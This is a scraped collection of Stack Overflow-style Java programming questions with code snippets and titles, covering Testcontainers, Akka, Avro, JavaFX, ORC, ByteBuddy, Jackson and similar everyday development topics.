ibmcom/informix-innovator-c : latest17:34:06.298 [ main ] DEBUG org.springframework.test.context.support.AbstractDirtiesContextTestExecutionListener - After test class : context [ DefaultTestContext @ 624ea235 testClass = DemoApplicationTests , testInstance = [ null ] , testMethod = [ null ] , testException = [ null ] , mergedContextConfiguration = [ MergedContextConfiguration @ 3932c79a testClass = DemoApplicationTests , locations = ' { } ' , classes = ' { class com.example.demo.DemoApplication } ' , contextInitializerClasses = ' [ ] ' , activeProfiles = ' { } ' , propertySourceLocations = ' { } ' , propertySourceProperties = ' { org.springframework.boot.test.context.SpringBootTestContextBootstrapper=true } ' , contextCustomizers = set [ org.springframework.boot.test.context.filter.ExcludeFilterContextCustomizer @ 3e2e18f2 , org.springframework.boot.test.json.DuplicateJsonObjectContextCustomizerFactory $ DuplicateJsonObjectContextCustomizer @ 703580bf , org.springframework.boot.test.mock.mockito.MockitoContextCustomizer @ 0 , org.springframework.boot.test.web.client.TestRestTemplateContextCustomizer @ 5c30a9b0 , org.springframework.boot.test.autoconfigure.properties.PropertyMappingContextCustomizer @ 0 , org.springframework.boot.test.autoconfigure.web.servlet.WebDriverContextCustomizerFactory $ Customizer @ 3c407114 ] , contextLoader = 'org.springframework.boot.test.context.SpringBootContextLoader ' , parent = [ null ] ] , attributes = map [ [ empty ] ] ] , class annotated with @ DirtiesContext [ false ] with mode [ null ] .org.testcontainers.containers.ContainerLaunchException : Container startup failed at org.testcontainers.containers.GenericContainer.doStart ( GenericContainer.java:217 ) at org.testcontainers.containers.GenericContainer.start ( GenericContainer.java:199 ) at com.example.demo.DemoApplicationTests.init ( DemoApplicationTests.java:37 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:498 ) at org.junit.runners.model.FrameworkMethod $ 1.runReflectiveCall ( FrameworkMethod.java:50 ) at org.junit.internal.runners.model.ReflectiveCallable.run ( ReflectiveCallable.java:12 ) at org.junit.runners.model.FrameworkMethod.invokeExplosively ( FrameworkMethod.java:47 ) at org.junit.internal.runners.statements.RunBefores.evaluate ( RunBefores.java:24 ) at org.springframework.test.context.junit4.statements.RunBeforeTestClassCallbacks.evaluate ( RunBeforeTestClassCallbacks.java:61 ) at org.junit.internal.runners.statements.RunAfters.evaluate ( RunAfters.java:27 ) at org.springframework.test.context.junit4.statements.RunAfterTestClassCallbacks.evaluate ( RunAfterTestClassCallbacks.java:70 ) at org.junit.runners.ParentRunner.run ( ParentRunner.java:363 ) at org.springframework.test.context.junit4.SpringJUnit4ClassRunner.run ( SpringJUnit4ClassRunner.java:190 ) at org.junit.runner.JUnitCore.run ( JUnitCore.java:137 ) at com.intellij.junit4.JUnit4IdeaTestRunner.startRunnerWithArgs ( JUnit4IdeaTestRunner.java:68 ) at com.intellij.rt.execution.junit.IdeaTestRunner $ Repeater.startRunnerWithArgs ( IdeaTestRunner.java:47 ) at com.intellij.rt.execution.junit.JUnitStarter.prepareStreamsAndStart ( JUnitStarter.java:242 ) at com.intellij.rt.execution.junit.JUnitStarter.main ( JUnitStarter.java:70 ) Caused by : org.rnorth.ducttape.RetryCountExceededException : Retry limit hit with exception at org.rnorth.ducttape.unreliables.Unreliables.retryUntilSuccess ( Unreliables.java:83 ) at org.testcontainers.containers.GenericContainer.doStart ( GenericContainer.java:210 ) ... 20 moreCaused by : org.testcontainers.containers.ContainerLaunchException : Could not create/start container at org.testcontainers.containers.GenericContainer.tryStart ( GenericContainer.java:277 ) at org.testcontainers.containers.GenericContainer.lambda $ doStart $ 0 ( GenericContainer.java:212 ) at org.rnorth.ducttape.unreliables.Unreliables.retryUntilSuccess ( Unreliables.java:76 ) ... 21 moreCaused by : org.rnorth.ducttape.TimeoutException : java.util.concurrent.TimeoutException at org.rnorth.ducttape.timeouts.Timeouts.callFuture ( Timeouts.java:70 ) at org.rnorth.ducttape.timeouts.Timeouts.doWithTimeout ( Timeouts.java:60 ) at org.testcontainers.containers.wait.strategy.WaitAllStrategy.waitUntilReady ( WaitAllStrategy.java:53 ) at org.testcontainers.containers.GenericContainer.waitUntilContainerStarted ( GenericContainer.java:582 ) at org.testcontainers.containers.GenericContainer.tryStart ( GenericContainer.java:259 ) ... 23 moreCaused by : java.util.concurrent.TimeoutException at java.util.concurrent.FutureTask.get ( FutureTask.java:205 ) at org.rnorth.ducttape.timeouts.Timeouts.callFuture ( Timeouts.java:65 ) ... 27 moreDisconnected from the target VM , address : '127.0.0.1:51062 ' , transport : 'socket'Test ignored.Process finished with exit code 255 6:09:07.489 [ ducttape-1 ] DEBUG com.github.dockerjava.core.exec.InspectExecCmdExec - GET : OkHttpWebTarget ( okHttpClient=org.testcontainers.shaded.okhttp3.OkHttpClient @ 1a2e2935 , baseUrl=http : //docker.socket/ , path= [ /exec/ab3ed2f2d3fa129b21c787a7bcce603a267fea48268ab7c861657005919ee546/json ] , queryParams= { } ) 16:09:08.494 [ ducttape-1 ] DEBUG org.testcontainers.containers.ExecInContainerPattern - /elastic_raman : Running `` exec '' command : /bin/sh -c cat /proc/net/tcp { ,6 } | awk ' { print $ 2 } ' | grep -i :238016:09:08.495 [ ducttape-1 ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : 3a30ec6ec83dff4b2f330b9c9d71b907dbfd7596a0bd9cc54d1b4f7eb2164f3e , < null > , true , true , < null > , < null > , < null > , { /bin/sh , -c , cat /proc/net/tcp { ,6 } | awk ' { print $ 2 } ' | grep -i :2380 } , com.github.dockerjava.core.exec.ExecCreateCmdExec @ 74c5bfba16:09:08.582 [ ducttape-1 ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : b82e102d716c5530e5aa8c9699f8f5a5e0d6aa6cc4aa69c44b8553f79de4101f , com.github.dockerjava.core.exec.InspectExecCmdExec @ 90283ab16:09:08.582 [ ducttape-1 ] DEBUG com.github.dockerjava.core.exec.InspectExecCmdExec - GET : OkHttpWebTarget ( okHttpClient=org.testcontainers.shaded.okhttp3.OkHttpClient @ 1a2e2935 , baseUrl=http : //docker.socket/ , path= [ /exec/b82e102d716c5530e5aa8c9699f8f5a5e0d6aa6cc4aa69c44b8553f79de4101f/json ] , queryParams= { } )",How to launch Informix via testcontainers ? +Java,"We have a POJO that is auto-generated with ~60 properties . This is generated with avro 1.4 , which does not include getters/setters . A library that we use to provide simple transformations between objects requires getter/setter-like methods in order to properly work . Is there a way to replicate getters/setters without having to manually override the POJO and create all of the getters/setters manually ? the desire is to write code that looks like :","public class BigGeneratedPojo { public String firstField ; public int secondField ; ... public ComplexObject nthField ; } public class OtherObject { private String reprOfFirstFieldFromOtherObject ; private ComplexObject reprOfFirstFieldFromOtherObject ; public String getReprOfFirstFieldFromOtherObject ( ) { ... standard impl ... } ; public void setReprOfFirstFieldFromOtherObject ( ) { ... standard impl ... } ; } Mapper < BigGeneratedPojo , OtherObject > mapper = MagicalMapperLibrary.mapperBuilder ( BigGeneratedPojo.class , OtherObject.class ) .from ( BigGeneratedPojo : :getFirstField ) .to ( OtherObject : :reprOfFirstFieldFromOtherObject ) .build ( ) ; BigGeneratedPojo pojo = new BigGeneratedPojo ( ) ; pojo.firstField = `` test '' ; OtherObject mappedOtherObj = mapper.map ( pojo ) ; assertEquals ( mappedOtherObj.getReprOfFirstFieldFromOtherObject ( ) , `` test '' ) ;",Way to replicate getters/setters for public properties in a POJO +Java,"I am developing an application that creates some Akka actors to manage and process messages coming from a Kafka topic . Messages with the same key are processed by the same actor . I use the message key also to name the corresponding actor.When a new message is read from the topic , I do n't know if the actor with the id equal to the message key was already created by the actor system or not . Therefore , I try to resolve the actor using its name , and if it does not exist yet , I create it . I need to manage concurrency in regard to actor resolution . So it is possible that more than one client asks the actor system if an actor exists.The code I am using right now is the following : The above code is not optimised , and the exception handling can be made better.However , is there in Akka a more idiomatic way to resolve an actor , or to create it if it does not exist ? Am I missing something ?","private CompletableFuture < ActorRef > getActor ( String uuid ) { return system.actorSelection ( String.format ( `` /user/ % s '' , uuid ) ) .resolveOne ( Duration.ofMillis ( 1000 ) ) .toCompletableFuture ( ) .exceptionally ( ex - > system.actorOf ( Props.create ( MyActor.class , uuid ) , uuid ) ) .exceptionally ( ex - > { try { return system.actorSelection ( String.format ( `` /user/ % s '' , uuid ) ) .resolveOne ( Duration.ofMillis ( 1000 ) ) .toCompletableFuture ( ) .get ( ) ; } catch ( InterruptedException | ExecutionException e ) { throw new RuntimeException ( e ) ; } } ) ; }",Retrieve an Akka actor or create it if it does not exist +Java,"In my Eclipse ( Kepler 4.3 ) I have Checkstyle installed and working with a proper file ( verification also happens through Jenkins ) . Nonetheless my Eclipse editor gives me a Warning for all my @ SuppressWarnings ( `` checkstyle : parameternumber '' ) The parameternumber value exists in the Checkstyle , as some of the developers do not have this issue . However we compared environments and could not figure our what was different.Does anyone here have an idea how to fix this issue ? When I remove this @ SuppresWarnings I am getting a Checkstyle warning from Eclipse that I am using to many parameters . So it does recognize it I assume .",public class MyClass { @ SuppressWarnings ( `` checkstyle : parameternumber '' ) public MyClass ( ... multiple paramters ... ) { /*Implementation*/ },Eclipse shows warning for checkstyle SuppresWarnings that exists +Java,"In that case , how did the Java compiler decide to use constructor 2 instead of constructor 1 ? Why no The constructor ... is ambiguous or a similar error occurs ? PS : the question works with classic methods too .","public class MyClass { private String string ; private Object [ ] objects ; // constructor 1 public MyClass ( String string , Object ... objects ) { this.string = string ; this.objects = objects ; } // constructor 2 public MyClass ( String string ) { this.string = string ; } public static void main ( String [ ] args ) { MyClass myClass = new MyClass ( `` foobar '' ) ; } }",How is the Java compiler able to distinguish between those two constructors/methods ? +Java,"I have the following code for opening a local web page with a parameter : But , when the browser is opened , the parameters string ( ? message=HelloWorld ) is removed.While when I call some page with http : // prefix , it does work.How can I make it work also with local file ? ( i.e . such that starts with file : /// )",String url = `` file : ///C : /work/my_page.html ? `` ; String params = `` message=HelloWorld '' ; Desktop.getDesktop ( ) .browse ( new URI ( url + params ) ) ;,Parameters are removed when opening local URL in default browser +Java,"I can bind a TextField 's text property to a DoubleProperty , like this : But what if my someDoubleProperty is an instance of ReadOnlyDoubleProperty instead of DoubleProperty ? I am acutally not interested in a bidirectional binding . I use this method only because there is no such thing asDo I need to use listeners instead or is there a `` binding-solution '' for that as well ? Is there somthing likeout there ?","textField.textProperty ( ) .bindBidirectional ( someDoubleProperty , new NumberStringConverter ( ) ) ; textField.textProperty ( ) .bind ( someDoubleProperty , new NumberStringConverter ( ) ) ; textField.textProperty ( ) .bind ( someDoubleProperty , new NumberStringConverter ( ) ) ;",Bind TextField to ReadOnlyDoubleProperty +Java,"This code wo n't compile because of the String return type of the staticMethod in Child.I know that JLS 8 in §8.4.8.3 , `` Requirements in Overriding and Hiding '' says : If a method declaration d1 with return type R1 overrides or hides the declaration of another method d2 with return type R2 , then d1 must be return-type-substitutable ( §8.4.5 ) for d2 , or a compile-time error occurs.My question is what has been the motivation for this compile-time checking in the specific case of static methods , an example ilustrating that the failure to do this verification during compilation would produce any problems would be ideal .",class Parent { static void staticMethod ( ) { } } class Child extends Parent { static String staticMethod ( ) { return null ; } },Why is return-type covariance enforced for hidden static methods ? +Java,"I am trying to match a string in Java with String.matches ( ) .Accepted values are ABC321 , ABC321/OTHER888 or ABC321/ but /ABC321 or ABC321/OTHER888/ should not match . So / may be in middle or at the end of the string but not at the beginning and it should appear only once.This is the closest regexp I have managed to do : but the problem is that / may appear multiple times . So how can I improve the regex to allow / only once ?",myString.matches ( `` ^ [ A-Za-z0-9 ] +/ ? [ A-Za-z0-9 ] +/ ? $ '' ) ;,How to match a character in middle or at the end of string but only once +Java,Why is it that when I wrap a SwingWorker around this code it no longer reports an exception being thrown ?,"import java.security.InvalidParameterException ; import javax.swing.SwingUtilities ; import javax.swing.SwingWorker ; public class Test { public static void main ( String [ ] args ) { SwingUtilities.invokeLater ( new Runnable ( ) { @ Override public void run ( ) { new SwingWorker < Void , Void > ( ) { @ Override protected Void doInBackground ( ) throws Exception { IntegerString s = new IntegerString ( `` EIGHT '' ) ; return null ; } } .execute ( ) ; } } ) ; } } class IntegerString { public IntegerString ( String s ) { if ( ! isInteger ( s ) ) { System.out.println ( `` ... throwing exception . `` ) ; throw new InvalidParameterException ( `` Thrown . `` ) ; } // ... } static boolean isInteger ( String str ) { if ( str == null ) { return false ; } int length = str.length ( ) ; if ( length == 0 ) { return false ; } int i = 0 ; if ( str.charAt ( 0 ) == '- ' ) { if ( length == 1 ) { return false ; } i = 1 ; } for ( ; i < length ; i++ ) { char c = str.charAt ( i ) ; if ( c < = '/ ' || c > = ' : ' ) { return false ; } } return true ; } }",Why does n't my Java exception print a stack trace when thrown inside a SwingWorker ? +Java,"Here is a simple program that : Writes records into an Orc file Then tries to read the file using predicate pushdown ( searchArgument ) Questions : Is this the right way to use predicate push down in Orc ? The read ( .. ) method seems to return all the records , completely ignoring the searchArguments . Why is that ? Notes : I have not been able to find any useful unit test that demonstrates how predicate pushdown works in Orc ( Orc on GitHub ) . Nor am I able to find any clear documentation on this feature . Tried looking at Spark and Presto code , but I was not able to find anything useful.The code below is a modified version of https : //github.com/melanio/codecheese-blog-examples/tree/master/orc-examples/src/main/java/codecheese/blog/examples/orc }","public class TestRoundTrip { public static void main ( String [ ] args ) throws IOException { final String file = `` tmp/test-round-trip.orc '' ; new File ( file ) .delete ( ) ; final long highestX = 10000L ; final Configuration conf = new Configuration ( ) ; write ( file , highestX , conf ) ; read ( file , highestX , conf ) ; } private static void read ( String file , long highestX , Configuration conf ) throws IOException { Reader reader = OrcFile.createReader ( new Path ( file ) , OrcFile.readerOptions ( conf ) ) ; //Retrieve x that is `` highestX - 1000 '' . So , only 1 value should 've been retrieved . Options readerOptions = new Options ( conf ) .searchArgument ( SearchArgumentFactory .newBuilder ( ) .equals ( `` x '' , Type.LONG , highestX - 1000 ) .build ( ) , new String [ ] { `` x '' } ) ; RecordReader rows = reader.rows ( readerOptions ) ; VectorizedRowBatch batch = reader.getSchema ( ) .createRowBatch ( ) ; while ( rows.nextBatch ( batch ) ) { LongColumnVector x = ( LongColumnVector ) batch.cols [ 0 ] ; LongColumnVector y = ( LongColumnVector ) batch.cols [ 1 ] ; for ( int r = 0 ; r < batch.size ; r++ ) { long xValue = x.vector [ r ] ; long yValue = y.vector [ r ] ; System.out.println ( xValue + `` , `` + yValue ) ; } } rows.close ( ) ; } private static void write ( String file , long highestX , Configuration conf ) throws IOException { TypeDescription schema = TypeDescription.fromString ( `` struct < x : int , y : int > '' ) ; Writer writer = OrcFile.createWriter ( new Path ( file ) , OrcFile.writerOptions ( conf ) .setSchema ( schema ) ) ; VectorizedRowBatch batch = schema.createRowBatch ( ) ; LongColumnVector x = ( LongColumnVector ) batch.cols [ 0 ] ; LongColumnVector y = ( LongColumnVector ) batch.cols [ 1 ] ; for ( int r = 0 ; r < highestX ; ++r ) { int row = batch.size++ ; x.vector [ row ] = r ; y.vector [ row ] = r * 3 ; // If the batch is full , write it out and start over . if ( batch.size == batch.getMaxSize ( ) ) { writer.addRowBatch ( batch ) ; batch.reset ( ) ; } } if ( batch.size ! = 0 ) { writer.addRowBatch ( batch ) ; batch.reset ( ) ; } writer.close ( ) ; }",Why is Apache Orc RecordReader.searchArgument ( ) not filtering correctly ? +Java,"I found a strange behaviour in the current version of Java 8 . In my opinion the following code should be fine , but the JVM throws a NullPointerException : It does n't matter , what kind of lambda expression it is ( same with java.util.function.Function ) or what generic types are used . There can also be more meaningful expressions in place of false ? : . The example above is very short . Here 's a more colorful example : However these code pieces run fine : andOr with function : I tested with two Java versions : ~ # java -version openjdk version `` 1.8.0_66-internal '' OpenJDK Runtime Environment ( build 1.8.0_66-internal-b01 ) OpenJDK 64-Bit Server VM ( build 25.66-b01 , mixed mode ) C : \ > java -version java version `` 1.8.0_51 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_51-b16 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.51-b03 , mixed mode )","Supplier < Object > s = ( ) - > false ? false : false ? false : null ; s.get ( ) ; // expected : null , actual : NullPointerException Function < String , Boolean > f = s - > s.equals ( `` 0 '' ) ? false : s.equals ( `` 1 '' ) ? true : null ; f.apply ( `` 0 '' ) ; // falsef.apply ( `` 1 '' ) ; // truef.apply ( `` 2 '' ) ; // expected : null , actual : NullPointerException Supplier < Object > s = ( ) - > null ; s.get ( ) ; // null Supplier < Object > s = ( ) - > false ? false : null ; s.get ( ) ; // null Function < String , Boolean > f = s - > { if ( s.equals ( `` 0 '' ) ) return false ; else if ( s.equals ( `` 1 '' ) ) return true ; else return null ; } ; f.apply ( `` 0 '' ) ; // falsef.apply ( `` 1 '' ) ; // truef.apply ( `` 2 '' ) ; // null",NullPointerException instead of null ( JVM Bug ? ) +Java,"Ok , So I have the following situation . I originally had some code like this : Now , I decided to refactor that code so the classes ' dependencies are injected , instead : My question is what to do about Board Size ? I mean , in the first case , I just passed the class the desired board size , and it would do everything to create the other kinds of boards with the correct size . In the dependency injection case , that might not be more the case . What do you guys do in this situation ? Do you put any kind of checking on the MainBoard 's constructor so to make sure that the correct sizes are being passed in ? Do you just assume the class ' client will be responsible enough to pass the 3 kinds of boards with the same size , so there is no trouble ? EditWhy am I doing this ? Because I need to Unit-Test MainBoard . I need to be able to set the 3 sub-boards in certain states so I can test that my MainBoard is doing what I expect it to.Thanks","public class MainBoard { private BoardType1 bt1 ; private BoardType2 bt2 ; private BoardType3 bt3 ; ... private readonly Size boardSize ; public MainBoard ( Size boardSize ) { this.boardSize = boardSize ; bt1 = new BoardType1 ( boardSize ) ; bt2 = new BoardType2 ( boardSize ) ; bt3 = new BoardType3 ( boardSize ) ; } } public class MainBoard { private IBoardType1 bt1 ; private IBoardType2 bt2 ; private IBoardType3 bt3 ; ... private Size boardSize ; public MainBoard ( Size boardSize , IBoardType1 bt1 , IBoardType2 bt2 , IBoardType3 bt3 ) { this.bt1 = bt1 ; this.bt2 = bt2 ; this.bt3 = bt3 ; } }",How to convert this code so it now uses the Dependency Injection pattern ? +Java,"I am trying to understand the implementation of Integer.toString ( ) , which looks like this : And I ran into the last line , which does n't look like any of the constructors in the String class , except this one : ... except that this function is called with the char [ ] argument first , unlike how it is being used in Integer.toString ( ) . I was under the impression that changing the order of arguments counted as a change in the signature of the method , and would be a different overwrite of the method.Why does this work , or am I interpreting this incorrectly ?","public static String toString ( int i ) { if ( i == Integer.MIN_VALUE ) return `` -2147483648 '' ; int size = ( i < 0 ) ? stringSize ( -i ) + 1 : stringSize ( i ) ; char [ ] buf = new char [ size ] ; getChars ( i , size , buf ) ; return new String ( 0 , size , buf ) ; } String ( char value [ ] , int offset , int count )","Where is the constructor String ( int , int , char [ ] ) defined ?" +Java,"I 'm profiling my android game and surprised to see that : Creates a bunch of heap allocations.Aside from using a numeric i++ for loop , is there a better way to get around this problem ? Can I preallocate my iterators or something ?",for ( O o : myArrayList ) { },List iterator causes heap allocations ? +Java,"I have a real head-scratcher here . I tried everything , searched everywhere . It comes from an application I inherited that test JARs . ( It consists of a GUI front and a command-line application that does the actual checking . The GUI runs the command-line app by launching a new JVM on itself [ java -cp `` itself.jar '' com.different.mainClass ] . It 's a bad design , I know , but may be relevant . ) Anyway , this program contains some reflection calls nested inside two for-loops . The problem is that when the application is JARed up , the first reflection call takes exactly one second every iteration . But when it runs from classes , it takes a few milliseconds . Practically , this means this command : takes hours.This command : takes minutes.The JAR being tested is always a jar . The difference is only in the test application.Any ideas or avenues to pursue are greatly appreciated . Thank you !",java -jar myjar.jar java -cp `` ... [ bunch of jars ] ; myjar.jar '' com.myclasses.main,Java reflection performance drops when packaged as jar +Java,I use a ProcessBuilder to run processes . I handle Input/Output streams by submitting the corresponding runnables handling them in a thread pool ( Executors.newCachedThreadPool ( ) ) .I get the result but every now and then I do n't get anything.For instance if I do : cmd \C dir to the process builder I get the results of dir back but sometimes I do n't get anything ( despite that the result seems to comeback from the runnable that handles the process.getInputStream ) .How can I debug this ? It shows up intermitently.With the same code I did not have any problem when I did new Thread ( runnable ) .start ( ) . It started to happen after I switched to a thread pool . Update : I think I found something : I do the following in the Runnable : In the cases that does not work it prints Finished reading 521 . But I try to get the result via the pw and not sb.pw is PrintWriter pw = PrintWriter ( outputStream ) ; ` which I pass in the runnable Update 2 : It seems that : status = process.waitFor ( ) ; returns earlier before the runnable that handled the inputstream finishes . How can this happen ? I read in the javadoc : the calling thread will be blocked until the subprocess exits . So does that mean that I could return before consuming the I/O streams ? Update 3 : Seems to be the same issue here in Ruby I.e . there is some race condition between the process ending and consuming the output,try { while ( ( line = br.readLine ( ) ) ! = null ) { pw.println ( line ) ; sb.append ( line ) ; } System.out.println ( `` Finished reading `` +sb.length ( ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } finally { pw.flush ( ) ; try { isr.close ( ) ; } catch ( Exception e ) { } },Concurrency issue between waiting for a process and reading the stream ? +Java,"I am only 6 - 7 weeks into learning Java , so I apologize in advance if my code is sloppy or terminology is off . I 'm trying to create program that creates a random number and allows the user to guess until they get the correct number . It serves no real purpose other than a learning experience for me . I have the basic program working , I just want to add other elements to improve it and gain the experience.The program runs in a JFrame and has a JTextField for the user to enter their guess . I have ActionListener setup for the JTextField . I 'd like to add a Start button that displays at the beginning of the game . When the user clicks the start button , the JTextField should become active . Also , when the user clicks guesses the correct answer , I 'd like to use the start button to reset the program . I 've experimented with several ways to do this with no success . I believe this will require multiple ActionListeners in the same class . I 'm not even sure if this is possible ? Here is my code . Thanks in advance for any help .","import javax.swing . * ; import java.awt . * ; import java.awt.event.ActionEvent ; import java.awt.event.ActionListener ; import java.util.Random ; public class JMyFrame2 extends JFrame implements ActionListener { Random num = new Random ( ) ; int computerGenerated = num.nextInt ( 1000 ) ; public int userSelection ; JTextField numberField = new JTextField ( 10 ) ; JLabel label1 = new JLabel ( ) ; Container con = getContentPane ( ) ; int previousGuess ; // constructor for JMyFrame public JMyFrame2 ( String title ) { super ( title ) ; setSize ( 750 , 200 ) ; setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; label1 = new JLabel ( `` I have a number between 1 and 1000 can you guess my number ? '' + `` Please enter a number for your first guess and then hit Enter . `` ) ; setLayout ( new FlowLayout ( ) ) ; add ( numberField ) ; add ( label1 ) ; System.out.println ( computerGenerated ) ; numberField.addActionListener ( this ) ; } public void actionPerformed ( ActionEvent e ) { userSelection = Integer.parseInt ( numberField.getText ( ) ) ; con.setBackground ( Color.red ) ; if ( userSelection == computerGenerated ) { label1.setText ( `` You are correct '' ) ; con.setBackground ( Color.GREEN ) ; } else if ( userSelection > computerGenerated ) { label1.setText ( `` You are too high '' ) ; } else if ( userSelection < computerGenerated ) { label1.setText ( `` You are too low '' ) ; } } } public class JavaProgram5 { public static void main ( String [ ] args ) { JMyFrame2 frame2 = new JMyFrame2 ( `` Assignment 5 - Number Guessing Game '' ) ; frame2.setVisible ( true ) ; } }",Java - Number Game - Multiple ActionListener in the Same Class +Java,"In a Java EE 6 application running on GlassFish ( 3.1.2.2b5 ) , suppose you have a ConfigurationService , which reads some properties files and hands out property values accordingly : There also is an Eclipselink SessionCustomizer , because the schema name of one of the persistence units ( Oracle database ) in the application needs to be programmatically set , i.e . be configurable from the properties files mentioned before . The SessionCustomizer is configured in a persistence.xml and the implementation contains a reference to the ConfigurationService : Is it possible to have the ConfigurationService injected in such a way , so that it 's available when the SessionCustomizer is instantiated ? The above fails since the ConfigurationService instance is still null , i.e . the injection has n't happened yet . This observation corresponds to the server 's log entries . It seems like the dependency injection mechanism is invariably started after the persistence units - and thus the SessionCustomizer - are instatiated . I 've messed around with various annotations ( @ Startup , @ DependsOn ( ... ) , ... ) but to no avail . Is my conclusion correct or is there another way to have the EJB instantiated and injected sooner ?",@ Localpublic interface ConfigurationService { ... } @ Singleton public class ConfigurationServiceImpl implements ConfigurationService { ... } < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < persistence version= '' 2.0 '' xmlns= '' http : //java.sun.com/xml/ns/persistence '' ... < persistence-unit name= '' myPU '' transaction-type= '' JTA '' > < property name= '' eclipselink.session.customizer '' value= '' MySessionCustomizer '' / > ... public class MySessionCustomizer implements SessionCustomizer { @ EJB private ConfigurationService configurationService ; @ Override public void customize ( Session session ) { session.getLogin ( ) .setTableQualifier ( configurationService.getSchemaName ( ) ) ; ...,Inject EJB into Eclipselink SessionCustomizer to provide Oracle schema name +Java,"I 'm trying to generate classes with a cyclic class dependency , similar to this question : Byte Buddy - Handling cyclic references in generated classesAs a minimal example , the kind of classes I want to generate have dependencies like this : The accepted answer in the link above did not provide enough information for me to get this to work . This is what I tried : When I run this , I get Exception in thread `` main '' java.lang.IllegalStateException : Can not resolve declared type of a latent type description : class B in the marked line.The answer to the referenced question above says to `` Make sure that you do not load a type before defining the latent type properly '' , and I 'm guessing that this might be my issue . I do n't know how to define a latent type though : - ( Edit : made classes A and B above final ( as this would be the ideal solution ) Edit : Add stack trace","//class A depends on class B , and vice-versafinal class A { B theB ; } final class B { A theA ; } import net.bytebuddy.ByteBuddy ; import net.bytebuddy.description.type.TypeDescription ; import net.bytebuddy.dynamic.DynamicType ; import net.bytebuddy.dynamic.loading.ClassLoadingStrategy ; import net.bytebuddy.jar.asm.Opcodes ; public class ByteBuddyHello { public static void main ( String [ ] args ) { try { final ByteBuddy bb = new ByteBuddy ( ) ; final TypeDescription.Latent typeDescrA = new TypeDescription.Latent ( `` A '' , 0 , null , null ) ; final TypeDescription.Latent typeDescrB = new TypeDescription.Latent ( `` B '' , 0 , null , null ) ; final DynamicType.Unloaded < Object > madeA = bb .subclass ( Object.class ) .name ( `` A '' ) .defineField ( `` theB '' , typeDescrB , Opcodes.ACC_PUBLIC ) .make ( ) ; // exception thrown here ! final DynamicType.Unloaded < Object > madeB = bb.subclass ( Object.class ) .name ( `` B '' ) .defineField ( `` theA '' , typeDescrA , Opcodes.ACC_PUBLIC ) .make ( ) ; Object a = madeA .include ( madeB ) .load ( ByteBuddyHello.class.getClassLoader ( ) , ClassLoadingStrategy.Default.WRAPPER ) .getLoaded ( ) .newInstance ( ) ; System.out.println ( a.toString ( ) ) ; } catch ( InstantiationException e ) { e.printStackTrace ( ) ; } catch ( IllegalAccessException e ) { e.printStackTrace ( ) ; } } } Exception in thread `` main '' java.lang.IllegalStateException : Can not resolve declared type of a latent type description : class B at net.bytebuddy.description.type.TypeDescription $ Latent.getDeclaringType ( TypeDescription.java:7613 ) at net.bytebuddy.description.type.TypeDescription $ AbstractBase.getSegmentCount ( TypeDescription.java:6833 ) at net.bytebuddy.implementation.attribute.AnnotationAppender $ ForTypeAnnotations.onNonGenericType ( AnnotationAppender.java:617 ) at net.bytebuddy.implementation.attribute.AnnotationAppender $ ForTypeAnnotations.onNonGenericType ( AnnotationAppender.java:333 ) at net.bytebuddy.description.type.TypeDescription $ Generic $ OfNonGenericType.accept ( TypeDescription.java:3364 ) at net.bytebuddy.implementation.attribute.FieldAttributeAppender $ ForInstrumentedField.apply ( FieldAttributeAppender.java:122 ) at net.bytebuddy.dynamic.scaffold.TypeWriter $ FieldPool $ Record $ ForExplicitField.apply ( TypeWriter.java:270 ) at net.bytebuddy.dynamic.scaffold.TypeWriter $ Default $ ForCreation.create ( TypeWriter.java:4156 ) at net.bytebuddy.dynamic.scaffold.TypeWriter $ Default.make ( TypeWriter.java:1633 ) at net.bytebuddy.dynamic.scaffold.subclass.SubclassDynamicTypeBuilder.make ( SubclassDynamicTypeBuilder.java:174 ) at net.bytebuddy.dynamic.scaffold.subclass.SubclassDynamicTypeBuilder.make ( SubclassDynamicTypeBuilder.java:155 ) at net.bytebuddy.dynamic.DynamicType $ Builder $ AbstractBase.make ( DynamicType.java:2559 ) at net.bytebuddy.dynamic.DynamicType $ Builder $ AbstractBase $ Delegator.make ( DynamicType.java:2661 ) at my.package.playground.ByteBuddyHello.main ( ByteBuddyHello.java:20 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.lang.reflect.Method.invoke ( Method.java:483 ) at com.intellij.rt.execution.application.AppMain.main ( AppMain.java:147 )",Byte-buddy : generate classes with cyclic types +Java,"I 've been trying to serialize some Objects to System.out ( for debugging ) . As soon as I call it prints out the json , but the `` done '' never gets printed . Debugging these lines , clearly shows that the 3rd line gets executed , but the output never shows up.Is this a jackson bug , or am I doing anything wrong ? EDIT :","final JsonSerializer serializer = new JsonSerializer ( ) ; serializer.serialize ( System.out , myObj ) ; System.out.println ( `` done '' ) ; public class JsonSerializer { private ObjectMapper getConfiguredObjectMapper ( ) { final ObjectMapper mapper = new ObjectMapper ( ) ; mapper.enable ( SerializationConfig.Feature.INDENT_OUTPUT ) ; mapper.setVisibility ( JsonMethod.FIELD , Visibility.ANY ) ; mapper.setVisibility ( JsonMethod.GETTER , Visibility.NONE ) ; mapper.configure ( SerializationConfig.Feature.AUTO_DETECT_GETTERS , false ) ; mapper.configure ( SerializationConfig.Feature.AUTO_DETECT_IS_GETTERS , false ) ; mapper.configure ( SerializationConfig.Feature.AUTO_DETECT_FIELDS , false ) ; final SimpleModule module = new SimpleModule ( `` ConnectorSerialization '' , new Version ( 0 , 1 , 0 , null ) ) ; module.addSerializer ( new InputConnectorSerializer ( ) ) ; module.addSerializer ( new OutputConnectorSerializer ( ) ) ; module.addSerializer ( new StateSerializer ( ) ) ; mapper.registerModule ( module ) ; return mapper ; } public void serialize ( 